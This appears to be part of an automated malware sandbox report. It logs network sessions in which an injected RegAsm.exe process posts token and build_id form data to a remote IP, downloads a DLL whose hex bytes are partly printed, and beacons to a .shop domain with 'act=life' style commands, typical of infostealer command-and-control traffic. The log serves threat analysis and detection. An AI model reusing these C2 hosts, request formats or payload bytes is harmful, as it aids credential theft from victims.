2024-05-24 07:42:41 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49859	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:45 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 7297 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:45 UTC	7297	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------DHDHJJJECFIECBGDGCAACont
2024-05-24 07:42:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:45 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49862	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:46 UTC	194	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:46 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:46 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 19 May 2024 16:18:18 GMT Connection: close ETag: "664a264a-258600" Accept-Ranges: bytes
2024-05-24 07:42:46 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-05-24 07:42:46 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49867	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:49 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:49 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------BFIDGHDBAFIJJJJKJDHDCont
2024-05-24 07:42:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49869	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:51 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:51 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------EBFHJEGDAFHIJKECFBKJCont
2024-05-24 07:42:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:51 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49873	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:51 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:42:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:42:51 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hk6dtjvi3pfd6b40iievp7uof2; expires=Tue, 17-Sep-2024 01:29:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zVN4AYGFk5S2MsT772t1FOySAeeG1cjUOxCm4gO9CgcDczNjUIXSgDQNb1xhzNRuQSvLpAbFn4II89qra8CwakjeGNUcCtZmqdeEFeCKet%2BCyk%2B%2FkMClyOY618W%2BNo7lheywQ5j2zSgKsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6c258ac432e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:42:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49874	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:51 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:51 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------JKECFCFBGDHIECAAFIIDCont
2024-05-24 07:42:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:52 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49876	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:52 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:42:52 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:42:52 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q4a22kbfholsrt76kr7tiik8iu; expires=Tue, 17-Sep-2024 01:29:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tzpgekgB4qQsvJsb76%2FOdX8oVXUHDObYyU2ycKbXQKkmVtq7HJt%2FjhHuzNmSDb43wgfg80GpCnRhkCsvT4JAKjebqQyFXIC%2BJxOswGuHYFMaMSixFiJbc8mvG9Knatapiwe9oijzBIQA5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6c92963c32b-EWR alt-svc: h3=":443"; ma=86400
